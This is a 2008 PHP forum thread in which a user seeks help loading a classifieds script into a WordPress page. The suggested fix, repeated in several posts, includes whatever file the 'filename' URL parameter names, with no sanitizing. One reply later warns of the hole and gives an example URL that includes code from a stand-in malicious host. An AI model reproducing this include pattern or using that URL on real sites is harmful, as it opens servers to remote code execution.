load external index.php into content area of wordpress

Discussion in 'PHP' started by tronicscribe, Aug 22, 2008.

  1. #1
    I'm not a programmer, but I can find my way around wordpress pretty well and some php. I found a script/program for making a classifieds page, so I uploaded it and setup my database and its working fine. you can see it here. its located in a subfolder where as my wordpress install is in the main directory.

    http://portfoliosfriend.com/jobs/

    so, rather than have this running on its own page, I would really love if somehow I can call the index.php file into my wordpress content area. now I have no clue it this is possible to do with php, but I hope it is. I can then edit the css for the classifieds so it fits in my content width. or, if there is another way of doing this, I'd love to know. initially I had the idea of making a new page in wordpress, and then typing the necessary code in that page which will call my other index.php to load. again, not sure if that is possible. any help will be great! thanks
     
    tronicscribe, Aug 22, 2008 IP
  2. NatalicWolf

    NatalicWolf Peon

    Messages:
    262
    Likes Received:
    14
    Best Answers:
    0
    Trophy Points:
    0
    #2
    Just use AJAX? Or make a custom php page...This would most likely need to be a wordpress extension.

    include("jobs/index.php");

    That could work
     
    NatalicWolf, Aug 22, 2008 IP
  3. tronicscribe

    tronicscribe Peon

    Messages:
    103
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #3
    well I know nothing about ajax, lol, and I've looked around for a good WP plugin that does this, but the few that do seem to be either non working, or not what I need. This script is so far the best thing I've found. I will try the php include as soon as I figure out how these pages work in wordpress. thanks for the tip though! and if anyone else have a way of doing this, please let me know :D
     
    tronicscribe, Aug 23, 2008 IP
  4. ForumJoiner

    ForumJoiner Active Member

    Messages:
    762
    Likes Received:
    32
    Best Answers:
    0
    Trophy Points:
    83
    #4
    If you don't mind, may I have a link of the classified script? I can try it in a 2.6.1 WordPress.

    Am I to understand that you want the content generated by the script to appear on the main page, instead of the list of posts? If one clicks on the WordPress categories, what should happen?
     
    ForumJoiner, Aug 23, 2008 IP
  5. tronicscribe

    tronicscribe Peon

    Messages:
    103
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #5
    http://matterdaddy.com/4/scripts/matterdaddy_market.php

    you can download the script there. however it is full of errors, and you'll have to fix some of the php to make it work, lol. but it's pretty simple to fix. the main errors require you to use this:

    mysql_select_db($dbname, $dbConn);

    Yes, I want the script content to load where my posts would normally load. But not replacing the posts. I just want a new wordpress page for the script to load. my main page will always be the posts. it will have nothing to do with my categories. right now the classifieds opens in a new page away from my WP install. so if you can imagine having it open in my WP content area, just like how all the other pages on my website load, that is what I would like. hopefully that makes sense. :D
     
    tronicscribe, Aug 23, 2008 IP
  6. ForumJoiner

    ForumJoiner Active Member

    Messages:
    762
    Likes Received:
    32
    Best Answers:
    0
    Trophy Points:
    83
    #6
    The matterdaddy's script should be called "Can you spot the errors?" ;)
    After 3 replaces, using the hint you provided, I gave up.

    However, what you want is like what's in the picture below?
    [​IMG]

    The page that is responsible for showing the main page is:
    wordpress/wp-config/themes/CurrentTheme/index.php

    The content of the index.php that generates the picture is:
    
    <?php get_header(); ?>
    	<div id="wrapper">
    		<div id="content">
    			<?php 
    				require_once ($_GET['filename']); 
    			?>
    		</div>
    		<?php get_sidebar(); ?>
    	</div>
    <?php get_footer(); ?>
    PHP:
    This will give you the "main page look". Using this code, saved as index2.php, you may display the page anywhere you want.

    I called it like this:
    http://localhost/wordpress/index2.php?filename=market/index.php
    Of course, you have to alter the links accordingly, but if you were able to make that Classified script to work, you'll manage.

    Good luck! Any questions you might have, I'll be glad to answer them.

    Please confirm if this is what you're looking for.
     
    ForumJoiner, Aug 23, 2008 IP
  7. tronicscribe

    tronicscribe Peon

    Messages:
    103
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #7
    ah yes, that is pretty much what I want. although I don't I want to change my WP index page because I want that to load exactly as it does now. but I do want to make a new page, maybe called it "jobs" and put the php in that page so it will load the script. either way, I think what you have suggested will work. I will try it when I have a little more time, because it might take me a bit of time to figure out exactly what you meant, since I'm not too quick with coding, lol. thanks again, and I'll surely ask if I need more help. it is greatly appreciated.
     
    tronicscribe, Aug 23, 2008 IP
  8. ForumJoiner

    ForumJoiner Active Member

    Messages:
    762
    Likes Received:
    32
    Best Answers:
    0
    Trophy Points:
    83
    #8
    You can put the name "jobs.php" to the page "index2.php". That should do it. You can also put a link to jobs.php on the footer or header of the main page, if you want the main page to stay as it is now.
     
    ForumJoiner, Aug 23, 2008 IP
  9. tronicscribe

    tronicscribe Peon

    Messages:
    103
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #9
    hmmm, I not quite sure how you got it to load like that so easily. I was playing around with a few different things, and I might just be confused as to where I need to put the index2.php file. do I place it in my main directory, or in the theme folder for my active wordpress theme?

    also when you say, require_once ($_GET['filename']); I assume I need to replace filename with the path of my index2 file, right? such as jobs/index2.php or whatever the file path might be.

    I will keep trying to figure out how you got it working, but I have a major brain fart when trying to comprehend this, haha. I also thought it might be possible to simply create a new page in wordpress as you would write a new post, just make a new page. and then in the content of that page type require_once ($_GET['filename']); but when I tried that, it just showed the code as text for the content when I loaded the page.

    anyway, thanks again, I really want to figure this out :D
     
    tronicscribe, Aug 23, 2008 IP
  10. ForumJoiner

    ForumJoiner Active Member

    Messages:
    762
    Likes Received:
    32
    Best Answers:
    0
    Trophy Points:
    83
    #10
    Yes, you put jobs.php in the current theme folder.

    You call it like this:
    http://your_wordpress_main_folder/jobs.php?filename=market/index.php.
    I assumed that you put the classified script in your_wordpress_main_folder/market.

    Your_wordpress_main_folder is the one that contains wp-admin, wp-content and wp-includes folders.

    You should know that there are some major security problems with including a file in this way, but there might be other security problems with the classified script itself. At the very least, you should sanitize the filename value, otherwise some arbitrary code from other sites could be executed.
    http://your_wordpress_main_folder/jobs.php?filename=http://malicious.com/index.php.

    If you don't use a filename variable, it's possible that only the main page of the program will work as part of WordPress page. When clicking on any links from the embedded page, you'll receive errors. You have to tell the index.php what file to include at any given point in time, because index.php will be the container for all the other pages from the market script.


    You can manipulate the page.php file, from the current theme folder, to display certain things differently, based on the page name. For instance, if the page name is "page_jobs", to display your code instead of the current code.


    You are welcome :)
    If you want to understand how things work, I believe you should familiarize first with the way WordPress displays information. In your place, I would start with modifying all the files from the current theme (there are about 10 files) and see what effects the changes will have.
     
    ForumJoiner, Aug 23, 2008 IP
  11. tronicscribe

    tronicscribe Peon

    Messages:
    103
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #11
    what type of security problems would there be? I might be getting a little over my head with this now, lol.

    well, I tried just putting it in an iframe on a new page I created in wordpress... I kinda hate to do that only because it feels like I'm stepping back in time to achieve something I should be able to do with today's standards, but it seems to be working. you can view it here:

    http://portfoliosfriend.com/jobsearch

    I'm still interested to know if you think it is worth figuring out how to do it with php, or if an iframe is just fine. as well, I wonder about the security risks you spoke of before. I know the script itself may have some risks, but I'm mostly concerned about the ones involving wordpress. thanks again!
     
    tronicscribe, Aug 23, 2008 IP
  12. ForumJoiner

    ForumJoiner Active Member

    Messages:
    762
    Likes Received:
    32
    Best Answers:
    0
    Trophy Points:
    83
    #12
    http://www.securereality.com.au/studyinscarlet.txt
    (section 3 from this file has some info about the risks - this file is just to get you an idea of what's possible.


    It looks pretty good! Well done! You found a working solution, and that's the achievement of today. Until you find a better one, you still have something to display.

    If you have the time, I believe it worth understanding how to do it with PHP .
    About iFrames:
    - Not all browsers support it.
    - If I want to bookmark a link to one of your posts, I can't. All the links have the same address:
    http://portfoliosfriend.com/jobsearch. How do I link directly to the ad called "Looking for smart person" and tell someone about this particular ad? If you have only a few ads, it's easy to give the address of the main ad page. However, in the long run, I believe that you'll have a lot more ads to display. PHP can give you separate links, like:
    http://portfoliosfriend.com/jobsearch/looking-for-smart-person
    The link above not only gets rid of the security issues described at the beginning of this post, but also look nice to search engines and professional to your visitors. It's you to decide if you care enough about the last two things to invest time in understanding how to solve the problem with WordPress' help.
     
    ForumJoiner, Aug 24, 2008 IP
  13. tronicscribe

    tronicscribe Peon

    Messages:
    103
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #13
    thank you so much for all your time and efforts in helping me with this! I really would like to understand and figure out how to make it work with php, so I'll continue doing so. however, in the meantime I will leave the iframe there so at least I know it is working. I agree, it would be a better solution to have it functioning in php along with the rest of my site. I will read about those security issues as well. I'm slowly but surely learning more and more about wordpress and php as I keep working on this project. I love wordpress and have been using it since around version 2.0, and it certainly makes me think to figure things out, lol. It's a great CMS as well as a great learning tool. anyway, thanks again for everything!

    oh, and while I'm still trying to figure out how to achieve the script in php, there's a chance I may come looking for your help again, lol. :)
     
    tronicscribe, Aug 24, 2008 IP
  14. tronicscribe

    tronicscribe Peon

    Messages:
    103
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #14
    well I'm back, and decided I really want to achieve this with the php, and no iframe. I'm really racking my brian to figure this out, lol. anyway, I think I may have gotten a little further, except for a fatal error warning in my php. this is the file path I'm using to call the script... not sure if it is correct though.

    http://portfoliosfriend.com/wp-content/themes/PFver2/jobsearch.php?filename=jobs/index.php

    if you go there you will see the fatal error. it says: Call to undefined function get_header()

    I dont know why it would say that, because my header.php file is in the same directory that my jobsearch.php file is in. forgive me if I'm not grasping the concept well, and I don't expect you to keep repeating the same instructions again, lol, but I would like to get this working :D so I'll keep on reading over what you suggested I do, and see if I can figure it out. thanks!
     
    tronicscribe, Aug 24, 2008 IP
  15. ForumJoiner

    ForumJoiner Active Member

    Messages:
    762
    Likes Received:
    32
    Best Answers:
    0
    Trophy Points:
    83
    #15
    A brute-force solution is to see in what file is get_header defined and to include that file.
    Search all files from your WordPress folder for the exact phrase "function get_header" and you'll find it in the files:
    generate-template.php and themes.php, both from /wp-includes folder. Only one file, though, has the get_header function (that is general-template.php) - the themes.php file has functions that start with get_header (like function get_header_image). You have to repeat the process for all the missing files.

    So, you need to include the /wp-includes/general-template.php. It's important to know in what folder are you at a time and to use the correct relative path. Run a phpinfo() to see what's the variable that holds the current directory and display it in your program, in places where you are not sure of the current script's actual location.

    The better approach, on the long run, is to start with your_wordpress_folder/index.php and to see, step by step, how your theme is loaded and what variables are used for path.
    Hint : ABSPATH (it will help you a lot to understand what ABSPATH is)

    It may take a long time to understand how WordPress works - after all, it's a huge program. But, in my opinion, you'll learn a lot on the way. Don't underestimate the WordPress' complexity and don't be hard on yourself if you didn't understand all in one day :)
     
    ForumJoiner, Aug 25, 2008 IP
  16. tronicscribe

    tronicscribe Peon

    Messages:
    103
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #16
    well I installed a separate wordpress database for testing out all this stuff and other themes, and I got it to work correctly on there, using the prosense theme and the exact code you gave me. it loads the script perfectly in the main index.php file. I did not make an index2.php because I just wanted to see if I could do it exactly like you did.

    however, there is a problem with this. if I click any of the links in the script it takes me to a NOT FOUND error page saying that the viewitem.php page is not in same directory. so maybe I would need to change all the paths in the script itself to make it work. also when I click any category it gives a php fatal error. again I might have to change some file paths in the script.

    you can view it here:
    http://tronicscribe.com/testies/index.php?filename=jobs/index.php

    Next I decided to restore the index.php file back to showing the posts as normal in the prosense theme, and I made a new file called jobtest.php which I put this code in, same as I put in the index file to make it work.

    like this:
    <?php get_header(); ?>
        <div id="wrapper">
            <div id="content">
                <?php
                    require_once ($_GET['filename']);
                ?>
            </div>
            <?php get_sidebar(); ?>
        </div>
    <?php get_footer(); ?>
    PHP:
    here is where the problem begins. I think something is not working with the file paths when I try to call the script using a file other than index.php, because when I try to do that I get the same error about the get_header() function. I thought about this and tried analyzing what makes it work with the index file, but no other file.

    I first tried putting jobtest.php in the main WP directory (same as wp-admin, content and includes folders) and I used the same exact url to call the script except this time I logically replaces index.php with jobtest.php like this:

    http://tronicscribe.com/testies/jobtest.php?filename=jobs/index.php

    but of course that isn't going to work because jobtest.php tries to include files that are not in the main directory, such has header and sidebar. so then I put jobtest.php inside the prosense theme folder and called it like this:

    http://tronicscribe.com/testies/wp-content/themes/ProSense/jobtest.php?filename=jobs/index.php

    again I get the same error about get_header()

    what I don't understand is how when using the working formula of calling it from within the main index.php file and not using jobtest.php, doesn't that mean it is reading the index file of the main directory, and not the index of the theme? and if that is the case how does that even work? the main directory index file doesn't have the php with the require_once function in it, only the theme index file does.

    Anyway, sorry I had to type so much to try and explain my troubles, lol. and I hope it makes sense to you what I'm wondering about the index.php in the main directory. please let me know what you gather from all this. and I understand if you don't have the time to spend working on this with me, but just at anytime that is best for you, I'd appreciate some input on this. Thanks again, you've been a huge help!
     
    tronicscribe, Aug 25, 2008 IP
  17. ForumJoiner

    ForumJoiner Active Member

    Messages:
    762
    Likes Received:
    32
    Best Answers:
    0
    Trophy Points:
    83
    #17
    I mentioned here
    http://forums.digitalpoint.com/showpost.php?p=8961692&postcount=6
    >>> Of course, you have to alter the links accordingly, but if you were able to make that Classified script to work, you'll manage.
    It means that if you click directly on the links, it will not work, because they will not be called like:
    http://localhost/wordpress/index2.php?filename=market/index.php
    The bad news : you have to modify the market script also, to generate the proper links.
    The good news : it can be done :)

    You can also try another approach:
    Who gives the WordPress look and feel to a page? The header, the footer and the sidebar. You could make a template for the market script and add these 3 in the template. This way, you'll don't depend at all to any WordPress internal functions.

    A easy way to generate such a template is this:
    You go to http://tronicscribe.com, save the index page (Using the "Save As" menu from your browser), then remove all the posts from it. Then rename the source as template.php, and instead the post you put <?php include ... ; ?> (that is, you include the files generated by the market script.

    In other words, you just pad your market script with the static content from a regular WordPress page, instead of asking WordPress to do that. Anyway, what you pad to the market script (header, footer and sidebar) is the same all the time, so why asking WordPress to do the same job all the time?

    The issues you encountered were generated by some dynamic path, caused by the padding items. With the above template, all happens in the market folder - the header, the footer and the sidebar are already included in the template, therefore there is no need to regenerate them.

    What do you think?
     
    ForumJoiner, Aug 25, 2008 IP
  18. tronicscribe

    tronicscribe Peon

    Messages:
    103
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #18
    I might give that a try and make the script have it's own template so I don't need to call it within wordpress. however, what about the problem with calling it from a file other than index.php? that is when I get the header error. have you tried making a second file such as index2.php with this code:

    <?php get_header(); ?>
    <div id="wrapper">
    <div id="content">
    <?php
    require_once ($_GET['filename']);
    ?>
    </div>
    <?php get_sidebar(); ?>
    </div>
    <?php get_footer(); ?>

    and seeing if you can get it to work like that? because that is where I have the most problems. if it turns out doing it this way isn't worth it, I will try making a template for the script. thanks again :D
     
    tronicscribe, Aug 25, 2008 IP